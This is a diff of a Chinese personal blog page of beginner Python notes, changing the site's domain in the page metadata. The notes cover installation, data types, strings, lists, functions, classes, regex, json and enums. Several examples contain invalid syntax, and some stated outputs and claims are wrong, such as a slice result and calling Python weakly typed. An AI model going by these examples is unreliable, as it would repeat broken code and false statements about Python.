+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="python基础语法笔记"><meta property="og:description" content="安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
 dash Anaconda3-2019.10-Linux-x86_64.sh
@@ -77,7 +77,7 @@
 python能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量
 python可以处理整型任意大小的整数，也可以使用二进制代表整数、
 浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示
-字符串是使用&#34;&ldquo;和&rsquo;&lsquo;括起来的任意文本，&lsquo;&lsquo;或&#34;&ldquo;本身只是一种表示方式，不是字符串的一部分"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/28/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:40:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:40:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="python基础语法笔记"><meta name=twitter:description content="安装python
+字符串是使用&#34;&ldquo;和&rsquo;&lsquo;括起来的任意文本，&lsquo;&lsquo;或&#34;&ldquo;本身只是一种表示方式，不是字符串的一部分"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/28/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:40:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:40:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="python基础语法笔记"><meta name=twitter:description content="安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
 dash Anaconda3-2019.10-Linux-x86_64.sh
@@ -116,7 +116,7 @@
 python能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量
 python可以处理整型任意大小的整数，也可以使用二进制代表整数、
 浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示
-字符串是使用&#34;&ldquo;和&rsquo;&lsquo;括起来的任意文本，&lsquo;&lsquo;或&#34;&ldquo;本身只是一种表示方式，不是字符串的一部分"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"python基础语法笔记","item":"https://xiaochenabc123.github.io/posts/28/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"python基础语法笔记","name":"python基础语法笔记","description":"安装python\n推荐安装anaconda3（linux）\nwget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh\ndash Anaconda3-2019.10-Linux-x86_64.sh\n根据提示安装，如果还是系统自带的python\nsudo gedit ~/.bashrc\nexport PATH=\u0026quot;/home/pc/anaconda3/bin:$PATH\u0026quot;\npc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3\n注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置\nWindows和mac 到官网下载安装包，直接下一步安装\nmac安装了Homebrew，可以使用brew install python3\nWindows设置环境变量，PATH 安装路径\n现在liunx一般都会自带有python3,如果没有可以安装一下\napt install python3\nyun install python3\n注意一下python2.x和python3.x这两个版本是不兼容的，要区分开\n检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量\n因为Python语言从规范到解释器都是开源的，所以存在多个解释器\n例如CPython，安装python3.x时就可以直接获取到一个官方版本的解释器：CPython，因为是使用C语言开发的，所以叫CPython\n在命令行或者终端，输入输入python3 回车，如果出现了\u0026raquo;\u0026gt; 那么当前状态是python的交互模式\n在交互模式下输入exit()，退出python的交互模式\n在交互模式下执行第一个程序 print(\u0026ldquo;hello,world\u0026rdquo;)\n回车输出hello，world，这是简单的打印字符串\n除了使用交互模式执行程序，又可以使用.py，在命令行或者终端下 python hello.py，如果报错，请检查程序是否出错或者该文件是否在当前目录下\n交互模式可以直接输出结果，但是使用.py文件却不会，想要输出结果，必须使用print()打印出来\n一个好的开发工具往往可以达到事半功倍的效果，例如pycharm和Visual Studio Code，我使用的是Visual Studio Code\nprint()接受多个输出，使用“,”分隔开，也可以输出整数\n当你想让用户输入一点东西的时候，python提供了一个input()，用法如下 name = input() 将输入的值存放到一个变量里\ninput()还提供了提示功能，显示一个字符串，例如：input(\u0026ldquo;xxxxx\u0026rdquo;)\n我想知道这个变量的内容咋办，可以在交互模式下直接输入变量名，回车，就可以查看该变量的内容 又可以使用print()打印下来\n那么什么是变量呢？\n在计算机程序中，变量不仅可以为整数或浮点数，还可以是字符串\n输入是Input，输出是Output，输入输出统称为Input/Output，或者简写为IO\n以#开头的语句是注释，注释是给人看的，解释器会忽略掉注释，注释可以是任何内容\n其他每一行都是一个语句，当语句以冒号:结尾时，缩进的语句视为代码块\n注意：python区分大小写，搞错了大小写，程序可能会报错。缩进建议使用4个空格\npython能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量\npython可以处理整型任意大小的整数，也可以使用二进制代表整数、\n浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示\n字符串是使用\u0026quot;\u0026ldquo;和\u0026rsquo;\u0026lsquo;括起来的任意文本，\u0026lsquo;\u0026lsquo;或\u0026quot;\u0026ldquo;本身只是一种表示方式，不是字符串的一部分","keywords":["Python"],"articleBody":"安装python\n推荐安装anaconda3（linux）\nwget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh\ndash Anaconda3-2019.10-Linux-x86_64.sh\n根据提示安装，如果还是系统自带的python\nsudo gedit ~/.bashrc\nexport PATH=\"/home/pc/anaconda3/bin:$PATH\"\npc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3\n注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置\nWindows和mac 到官网下载安装包，直接下一步安装\nmac安装了Homebrew，可以使用brew install python3\nWindows设置环境变量，PATH 安装路径\n现在liunx一般都会自带有python3,如果没有可以安装一下\napt install python3\nyun install python3\n注意一下python2.x和python3.x这两个版本是不兼容的，要区分开\n检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量\n因为Python语言从规范到解释器都是开源的，所以存在多个解释器\n例如CPython，安装python3.x时就可以直接获取到一个官方版本的解释器：CPython，因为是使用C语言开发的，所以叫CPython\n在命令行或者终端，输入输入python3 回车，如果出现了»\u003e 那么当前状态是python的交互模式\n在交互模式下输入exit()，退出python的交互模式\n在交互模式下执行第一个程序 print(“hello,world”)\n回车输出hello，world，这是简单的打印字符串\n除了使用交互模式执行程序，又可以使用.py，在命令行或者终端下 python hello.py，如果报错，请检查程序是否出错或者该文件是否在当前目录下\n交互模式可以直接输出结果，但是使用.py文件却不会，想要输出结果，必须使用print()打印出来\n一个好的开发工具往往可以达到事半功倍的效果，例如pycharm和Visual Studio Code，我使用的是Visual Studio Code\nprint()接受多个输出，使用“,”分隔开，也可以输出整数\n当你想让用户输入一点东西的时候，python提供了一个input()，用法如下 name = input() 将输入的值存放到一个变量里\ninput()还提供了提示功能，显示一个字符串，例如：input(“xxxxx”)\n我想知道这个变量的内容咋办，可以在交互模式下直接输入变量名，回车，就可以查看该变量的内容 又可以使用print()打印下来\n那么什么是变量呢？\n在计算机程序中，变量不仅可以为整数或浮点数，还可以是字符串\n输入是Input，输出是Output，输入输出统称为Input/Output，或者简写为IO\n以#开头的语句是注释，注释是给人看的，解释器会忽略掉注释，注释可以是任何内容\n其他每一行都是一个语句，当语句以冒号:结尾时，缩进的语句视为代码块\n注意：python区分大小写，搞错了大小写，程序可能会报错。缩进建议使用4个空格\npython能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量\npython可以处理整型任意大小的整数，也可以使用二进制代表整数、\n浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示\n字符串是使用\"“和’‘括起来的任意文本，‘‘或\"“本身只是一种表示方式，不是字符串的一部分\n字符串内部包含’又包含\"怎么办？使用转义字符来标识，转义字符可以转义很多字符，比如n表示换行，t表示制表符，字符本身也是可以转义的，所以\\表示的字符就是\\\n为了简化，Python还允许用r’’，用来表示’‘内部的字符串默认不转义\n在交互式命令行内输入，在输入多行内容时，提示符由»\u003e变为…，提示可以接着上一行输入，注意…是提示符，不是代码的一部分\n多行字符串’‘‘xxx’’’，可以在前面加上r使用\n布尔值只有两种值，分别是True和False，在计算机中布尔值要么是True，要么是False，在python中可以直接使用True、False表示布尔值，注意大小写\nand是与运算，只有所有值都为True时，and运算结果才是True\nor运算是或运算，只要其中有一个为True，那么or运算结果就是True\nnot运算是非运算，它是一个单目运算符，专门把True变成False，False变成True\n空值，使用None表示空值，这个空值不是0，因为0是有意义的，代表什么都没有\n在计算机程序中，变量不仅可以是数字，还可以是任意数据类型。\n变量在程序中用一个变量名表示，变量名必须是大小写英文、数字和_的组合，且不能用数字开头，\n变量名 = 任意数据类型，这个过程叫变量赋值，变量可以反复赋值\n这种变量本身类型不固定的语言称之为动态语言，与之对应的是静态语言。静态语言在定义变量时必须指定变量类型，如果赋值的时候类型不匹配，就会报错。\n例如golang就是一个静态语言，不能跨数据类型来赋值\nx = 1\nx = x+1\n这个是计算新的值，并且重新赋值给该变量\na = “hello”\n这时Python解释器干了两件事情：\n在内存中创建了一个’hello’的字符串；\n在内存中创建了一个名为a的变量，并把它指向’hallo’。\n可以把一个变量a赋值给另一个变量b，这个操作实际上是把变量b指向变量a所指向的数据\n因为程序是从上往下执行的，一定要理清逻辑\n常量就是不能变的变量，在python中使用大写表示一个常量，例如： ABC =123\n但这个常量还是可以被修改，因为Python没有任何机制可以保证该常量不会被改变，这个很奇怪\n/除法计算结果是浮点数，即使是两个整数恰好整除，结果也是浮点数\n当使用//除法时，两个整数的相除就可以是整数\n想要做精确的除法，就必须使用/了\n// 除，永远是整数\n字符编码 python提供了字符转编码函数ord()和编码转字符函数chr()\nPython可以使用编码来输出内容\nPython的字符串类型是str，在内存中以Unicode表示，一个字符对应若干个字节，可以转成bytes类型，方便传输和保存数据\n在Python中bytes类型的数据用带b前缀的单引号或双引号表示：a = b\"hallo word”\nstr和bytes类型内容显示没有差别，但是bytes的每个字符都只占用一个字节\n在Python中，可以使用encode()方法来指定编码，例如： ‘hallo’.encode(‘ascii’) b’hallo’\n注意：纯英文的str可以使用ASCII编码为bytes，显示内容一样，但是包含了其他语言（比如中文）的str不能使用ASCII编码，Python会报错，含有其他语言的str请使用UTF-8编码\n如果想把bytes转为str，可以使用decode()方法\n注意：如果bytes中包含无法解码的字节，decode()方法会报错\n如果bytes中只有一小部分无效的字节，可以传入errors=‘ignore’忽略错误的字节\n计算str包含多少个字符，可以用len()函数\nlen()函数计算的是str的字符数，如果换成bytes，len()函数就计算字节数 为了让Python按UTF-8编码读取，一般都会在文件开头声明一下： # !/usr/bin/python3 # – coding: utf-8 –\n第一行是告诉计算机系统这是一个Python可执行程序，注意Windows会忽视这个\n第二行是告诉Python，请按照UTF-8编码读取源代码\n注意：声明并不代表文件是UTF-8编码的，请确保文本编辑器使用UTF-8 without BOM编码\n如果想一些内容可以根据变量变化，那么就用到格式化字符串\n在Python中，采用的格式化方式和C语言是一致的，用%实现\n‘Hello, %s $%d ’ % (‘world’)\n常见的占位符有：\n%d – 整数 %f – 浮点数 %s – 字符串 %x – 十六进制整数\n注意：%s永远起作用，它会把任何数据类型转换为字符串！！！\n如果字符串里面的%只是普通字符，那么使用%%来代表一个%（转义）\n还有一个格式化字符串方法：format()\n它会用传入的参数依次替换字符串内的占位符{0}、{1}……..\n例如：\n‘hello,{0}’.format(‘world’)\nPython 3的字符串使用Unicode，直接支持多语言\n当str和bytes互相转换时，需要指定编码\n列表（list），一种有序的集合，可以随时添加和删除其中的元素，使用[]来表示，例如： abc = [‘a’,‘b’,‘c’]\n可以使用索引来访问列表的每一个元素，索引是从0开始，例如：\nabc[0] ‘a’\n注意：索引超出范围时，Python会抛出一个IndexError错误，记得最后一个元素的索引是len(classmates) - 1\n如果想获取最后一个元素，不知道索引，又怕抛出错误，可以使用-1方法，例如：\nabc[-1] c\n以此类推，可以获取倒数第2个、倒数第3个，-2，-3\n因为这个列表是可变的有序的列表，所以可以在列表中追加元素到末尾，例如：\nabc.append(’d’) abc [‘a’,‘b’,‘c’,’d’]\n当然也可以添加元素到指定的位置，例如：\nabc.insert(1,‘1’) abc [‘a’,‘1’,‘b’,‘c’,’d’]\n删除列表末尾元素，使用pop()方法，例如：\nabc.pop() ’d’ abc [‘a’,‘1’,‘b’,‘c’]\n删除指定位置的元素，使用pop()，括号中填写索引位置\nabc.pop(1) ‘1’ abc [‘a’,‘b’,‘c’]\n如果想把某个元素换成其他元素，可以直接赋值给对应的索引位置，例如：\nabc[0]=‘abc’ abc [‘abc’,‘b’,‘c’]\n列表里面的元素数据类型可以不同，例如：\na = [‘hallo’,666,False]\n列表里面可以包含其他列表，反复嵌套，例如：\na = [‘hallo’,‘word’,[‘123’.‘abc’]]\n注意：这个a列表只有3个元素，其中的a[2]又是一个列表，可以拆开理解，例如：\n123 = [‘hallo’,‘word’]\nabc = [‘666’,123,‘abc’]\n想拿到’hallo’,可以写成123[1]或者abc1\n这个可以看成一个二维数组\n注意：当一个列表中一个元素也没有，那么就是一个空的列表，长度为0，a=[] len(a) 0\n还有一个有序列表叫元组（tuple），和list很相似，不过这个一但初始化就不能修改\n没有添加元素和删除元素的方法，但是可以正常使用获取元素的方法，获取方法和list一样，就是不能赋值成另外的元素\n那么这个列表不能改变，那么有什么意义？因为tuple不可变，所以程序更安全\n当定义一个tuple时，在定义的时候，tuple的元素就必须被确定下来\n如果要定义一个空的tuple，可以写成()\n正确定义只有一个元素的tuple，例如：\na = (1,) a 1\n为啥这样呢？因为括号()可以表示tuple，又可以表示数学公式中的小括号，防止Python按照小括号来计算，避免歧义\n关于可以’改变’的tuple：实际上改变的是list，因为tuple里面可以有list列表，所以可以’改变'01\n全局变量和局部变量\n一般在函数内部定义的变量，为局部变量，在函数外部定义的变量为全局变量\n因为作用域的问题，一般在函数内部不能真正修改到全局变量\n可以使用关键字global来处理\nabc = None\rdef xyz():\rglobal abc\rabc=\"hallo\"\rreturn a\rprint(abc) // 观察这个变量和下面的变量的区别\rprint(xyz())\rprint(abc) // 观察这个变量和上面的变量的区别\rnonlocal 可以用于在函数或者其他作用域中使用上层（非全局）的变量，例如：\ndef xyz():\rabc=\"hallo\"\rdef go():\rnonlocal abc\rreturn abc\rreturn go()\rprint(xyz())\r函数\n调用函数 函数名()\npython中内置了大量的函数，可以直接调用，例如：\nint(“666”) // 666\n因为函数本身可以理解为是一个引用类型，所以函数是可以赋值给变量，例如：\na = int a(“123”) // 123\n定义函数\ndef为定义一个函数的关键字，定义一个函数例如： def abc(i): print(i)\n如果有一个函数定义在另一个文件里，可以在当前文件的当前目录下，使用from abstest import导入函数\n空函数： def no(): pass\npass语句用于什么都不干，可以用于占位\n检查函数传入的参数\n检查数据类型可以使用isinstance()\nisinstance(1,int) // 返回布尔值，可以搭配if判断语句使用\n如果想要手动设置异常，可以使用raise语句，例如：\ndef no(i):\rif not isinstance(i,(int)):\rraise ValueError(\"no函数的传参必须为整数\")\rno('1')\r函数内部可以使用return来返回函数结果\n使用return返回不了值，主要是没有把值取出来，例如\ndef a(x):\rreturn x\rb = a(1)\rprint(b) // 1\rpython的函数参数灵活度很高\ndef a(x,i=1) // 默认i为1\n必选参数在前，默认参数在后，当不需要默认参数可以直接覆盖掉，灵活性很高\n当参数的个数不明确时，可以把参数当成list或tuple传进来，例如：\ndef a(x):\rabc = 0\rfor a in x:\rabc=abc+a\rreturn abc\ra = a([1,2,3])\rprint(a) // 6\r如果已经有一个list或tuple，想传进来：\ndef xyz(*x):\rabc = 0\rfor a in x:\rabc=abc+a\rreturn abc\rb = [1,3,5]\ra = xyz(*b)\rprint(a)\r关键字参数可以传入0或者任意个参数，而这些参数会变成一个tuple\ndef abc(i,**n): print(‘i:’, i, ’n:’, n)\nabc(“abc”)\n如果已经有一个tuple，想传入： b = {1,3,5} abc(**b)\n如果想限制关键字参数，例如：\ndef xyz(i,n,*,name,age):\rprint(i,n,name,age)\rxyz(1,2,name=\"hallo\",age=18) // 1 2 hallo 18\r*后面的参数被认为是命名关键字参数，限制只能使用该参数名\n如果参数中已经有了可变参数，后面跟着的命名关键字参数就不需要*来分隔了\n命名关键字参数必须要传入参数名，否则报错，如果命名关键字参数已经有默认值，可以不用传入\n递归函数\n递归函数就是这个函数反复调用它本身，例如：\n从1加到100，1+2+3+…+100\ndef xyz(n):\rif n == 1:\rreturn 1\rreturn n+xyz(n-1)\ra = xyz(100)\rprint(a) // 5050\r尾递归优化\n递归调用次数过多，会导致堆栈溢出，溢出就是超出了最大上限的堆栈\n而解决因为递归而导致的溢出的方法就是尾递归优化\n但是Python解释器目前不支持尾递归优化，就算使用尾递归方式，也还是会导致堆栈溢出\ndef abc(n):\rreturn xyz(n,1)\rdef xyz(n,go):\rif n == 1:\rreturn go\rreturn xyz(n-1,n+go)\ra = abc(100)\rprint(a)\r切片，顾名思义，就是取部分值，例如：\na = [1,2,3,4,5]\na[0:3] // [1,2,3]\n索引从0开始，到3为止\n支持倒数切片\na[:-1] // [1,2,3,4]\n如果开头为0，可以省略不写，倒数第一个为-1\na[::2] // [1, 3, 5] 每两个取一个\na[:] // 复制一个一样的list\ntupel也可以使用切片，但是操作结果还是tuple\na = (0,1,2,3)\na[:3] // (0,1,2)\n甚至连字符串都可以切片，结果还是字符串\na = “hallo”\na[:2] // hallo\n迭代\n读写文件\nabc = open(‘1.txt’,‘r’) go = abc.read(6) # 可以指定读取的数量，如果为空则读取全部 print(go) abc.clsoe() # 这个用来关闭文件\nr为只读，w为写入，a为追加，rb为以二进制方式只读，wb为以二进制方式写入，ab为以二进制方式追加\nabc = open(‘1.txt’,‘w’) abc.write(“hallo word!!” * 6) # 写入6条数据 abc.close()\nabc = open(‘1.txt’,‘r’) data = abc.readline() print(“3:%s” % data) # 读取指定行数的数据，这里为读取3行数据 abc.close()\n如果想多钱全部数据，并且返回的是一个列表，列表的每一个元素为都为每一行数据，可以： abc = open(‘1.txt’, ‘r’) data = data.readlines() print(type(data)) for a in data: print(a) data.close()\nif判断\ndata = 10\rif data \u003e=18:\rprint(\"成年了!\")\relif data\u003e=6:\rprint(\"义务教育\")\relse:\rprint(\"未成年!!!\")\r输入输出\ndata = int(input(\"请输入数据\"))\rprint(data)\r类型转换（Python是弱类型语言，弱类型指不能对变量声明类型，只能声明数据的类型）\nint()整数,str()字符串,float()浮点数,bool()布尔数，list()列表，tuple()元组，chr()字符，unichr()Unicode字符等等\n例如：\ndata1 = \"123\"\rdata2 = 123\rprint(isinstance(data1,str))\rprint(isinstance(data2,int))\rdata3 = int(data1)\rdata4 = str(data2)\rprint(isinstance(data3,int))\rprint(isinstance(data4,str))\r运算符\n+加，-减，*乘，/除，//取整除，%取余，**指数\n优先级和普通的算数规则一样，指数大于乘和除,取余,取整除大于加和减\n字符串不能和整数相加，必须将字符串或者整数转换，字符串为拼接，整数为算数\n赋值运算符\n=，将右边赋值给左边的变量，可以给多个变量赋值，例如：a = b = c = 666或者a,b,c = 666,123,100\na+=1 ：a=a+1，a-=1：a=a-1，a*=1：：a=a*1，a/=1：：a=a/1,a//=1: ：a=a//1,a%=1：a=a%1 ,a**=1：a=a**1\n==比较是否相等，!=比较不相等，\u003e大于，\u003c小于，\u003e=大于等于，\u003c=小于等于\nand和运算符（只有当比较全部为true才为true，否则都为false），or或运算符（只有当比较有一个为true才为true，全部为false才为false），not取反运算符（只有当比较为true才为false，当比较为false才为true）\nfor循环和while循环\nfor循环可以遍历任何以序列排序的东东，比如列表和字符串\nfor a in \"hallo word\":\rprint(a)\r或者\nfot a in range(1,100):\rprint(a)\rrange支持3个参数，分别是起始，结束，以及步长\nwhile循环,在某个条件下为true下才会执行里面的语句\ndata = 0\rwhile data \u003c 10:\rprint(data)\rdata+=1\r获取字符串或者列表的长度，len(data)\n查找某些内容是否在字符串的某些地方中存在（如果不存在，返回-1）,find(str,beg=0,end=len(strdata))\nstr为要查找的字符串，beg开始查找的位置，end结束查找的位置\n错误处理\n读取文件错误（当文件不存在时） try: abc = open(‘data.txt’, ‘r’) print(abc.read()) except FileNotFoundError: print(‘文件没有找到,请检查文件名称是否正确’)\ntry…except语句可以处理程序运行过程中可能出现的异常\n面向对象\nclass ClassName():\r'test 定义类'\rname = 'hallo'\rage = 20\rdef abc(self): # 实例方法\rprint(self.name)\rprint(self.age)\rclassName = ClassName() # 实例化类\rclassName.abc() # 调用类的方法\r导入类\nfrom hallo import ClassName\rclassName = ClassName() # 实例化类\rclassName.abc() # 调用类的方法\r构造函数\nclass ClassName():\rname = 'hallo'\rage = 20\rdef __init__(self, name，age):\rself.name = name\rself.age = age\ra = ClassName('hahaha', 18)\rb = ClassName('abc', 100)\rprint(a.name)\rprint(a.__dict__)\rprint(b.name)\rprint(ClassName.name)\rclass ClassName():\rname = 'hallo'\rage = 20\rsum = 0\rdef __init__(self, name，age):\rself.name = name\rself.age = age\rself.__class__.sum += 1 # 每调用一次构造函数就触发+1\rprint(self.__class.sum)\r类方法\nclass ClassName():\rsum = 0\r@classmethod\rdef Sum(cls):\rcls.sum += 1\rprint(cls.sum)\rClassName.Sum()\r静态方法\nclass ClassName():\r＠staticmethod\rdef hallo(name, pass):\rprint(name,pass)\rClassName.hallo('hallo','123456')\rabc = ClassName()\rabc.hallo('hhhhh','666123')\r类的成员的公开性与私有性\nclass ClassName():\rname = 'hallo'\rage = 20\r__pass = ''\rdef __abc(self): # 给类的成员开头加上__将表示该成员是私有的，无法在类外部使用\rprint(self.name)\rprint(self.age)\r注意: 如果前后都有__，则表示公开的，如构造函数__init__，只有开头有__才是私有的，默认是公开的\nPython提供一种私有保护机制，当在类外部使用时，Python会将其认为是全新的，私有的是无法被更改的，例如：\nclass ClassName():\rname = 'hallo'\rage = 20\r__pass = '123'\rdef abc(self):\rprint(self.name)\rprint(self.age)\rclassname = ClassName()\rclassname.__pass = '123456'\rprint(classname.__dist__)\rprint(classname._classname__pass) # 实质是访问类里面的私有__pass\r可以看到原来的__pass变成了_classname__pass这个全新的名称，而显示__pass是新的'12345’\n类的继承\nclass ClassName():\rdef __init__(self):\rself.a = 123\rself.b = 666\rdef hhh(self):\rprint('hallo word')\rdef gogo(self):\rprint('hallo abc')\rclass Hallo(ClassName):\rdef __init__(self):\rsuper().__init__() # 调用父类的__init__，当子类重写的父类的方法后，还想调用父类原来的方法，可使用super()，该语句块实质上也是在重写的父类的__init__方法，因此需要在子类的__init__调用父类原来的__init__\rdef abc(self):\rreturn self.a + self.b # 继承父类的属性\rdef gogo():\rprint('hallo python') # 重写父类的gogo方法\rhallo = Hallo() hallo.hhh # 调用父类的hhh方法 hallo.a # 调用父类的属性\n正则表达式\n判断某个字符串中是否存在某个字符\nimport re\rabc = \"hallo word\"\rxyz = re.findall(\"hallo\",abc)\rif len(xyz) \u003e 0:\rprint(\"字符串包含hallo\")\relse:\rprint(\"字符串不包含hallo\")\r筛选出某个字符串中存在的数值\nimport re\rabc = \"0hallo1 word2\"\rxyz = re.findall('\\d',abc)\rprint(xyz)\r\\d是元字符，\\d也是概括字符集，\\d可以使用[0-9]实现相同的效果\n字符集\nimport re\rabc = \"aha, aca, ada, aaa, aea\"\rxyz = re.findall('a[ha]a',abc)\r// xyz = re.findall('a[^ha]a',abc) // aea，^是取反\r// xyz = re.findall('a[c-e]a',abc) // aca，ada，aea，c-e表示c，d，e\rprint(xyz) // aha和aaa\r数量词\nimport re\rabc = \"hallo word hhhhhh\"\rxyz = re.findall('[a-z]{3,6}',abc) // 数量词使用{}包括，3,6表示匹配3到6个字符\rprint(xyz)\r贪婪与非贪婪\n匹配会最大匹配，像上面的数量词的例子，hallo并没有因为3而匹配hal，而是最大匹配，直到匹配的字符不符合才停止，这就是贪婪匹配\nimport re\rabc = \"hallo word hhhhhh\"\rxyz = re.findall('[a-z]{3,6}?',abc)\rprint(xyz)\r上面的例子就是非贪婪的，匹配会最小匹配\n匹配0次或无限次\nimport re\rabc = \"aba abcc abccd abc\"\rxyz = re.findall('abc*',abc)\rprint(xyz)\r匹配1次或无限次\nimport re\rabc = \"aba abcc abccd abc\"\rxyz = re.findall('abc+',abc)\rprint(xyz) // abcc，abccd，abc\r匹配0次或1次\nimport re\rabc = \"aba abcc abccd abc\"\rxyz = re.findall('abc?',abc)\rprint(xyz) // abc abc abc\r边界匹配符\n由于匹配只针对最小匹配，最大匹配无效，例如\nimport re\rabc = \"123456789\"\rxyz = re.findall('\\d{3,6}',abc)\rprint(xyz) // 123456，明明不符合6，但是还是输出了\r边界匹配符就是解决这个问题的\nimport re\rabc = \"123456789\"\rxyz = re.findall('^\\d{3,6}$',abc) // ^表示该位置开始匹配，$表示该位置结束匹配\rprint(xyz) 组\nimport re\rabc = \"abc abc xyz hallo abc abc xyz word\"\rxyz = re.findall('(abc)(xyz)',abc)\rprint(xyz) json反序列化（json字符串转python字典）\nimport json\rabc = '{\"name\": \"admin\", \"pass\":\"abc123\"}'\rxyz = json.loads(abc)\rprint(type(xyz)) // dict字典\rprint(xyz) print(xyz['name']) print(xyz['pass']) json序列化（python字典转json字符串）\nimport json\rabc = [\r{\"name\": \"admin\", \"pass\":\"abc123\"},\r{\"name\": \"root\", \"pass\":\"1234567\"}\r]\rxyz = json.dumps(abc)\rprint(type(xyz)) // str字符串\rprint(xyz) 枚举\nfrom enum import Enum\rclass ABC(Enum):\rID = 1\rUSER = 2\rPASS = 3\rprint(ABC.ID)\rprint(type(ABC.ID)) // ABC类型\rprint(ABC.ID.name) // 枚举名称\rprint(ABC.ID.value) // 枚举值\rprint(ABC.ID == ABC.USER) // 枚举的比较，不支持大小比较，只支持等值比较\rprint(ABC.ID in ABC.USER)\rfor i in ABC.__members__.items():\rprint(i) // 遍历枚举名称和值，如果只要枚举名称，则去掉.items()\r枚举和类的区别：枚举值不可变，枚举具备防止枚举名称重复的功能\n","wordCount":"1094","inLanguage":"en","datePublished":"2021-06-16T14:40:00Z","dateModified":"2021-06-16T14:40:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/28/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" 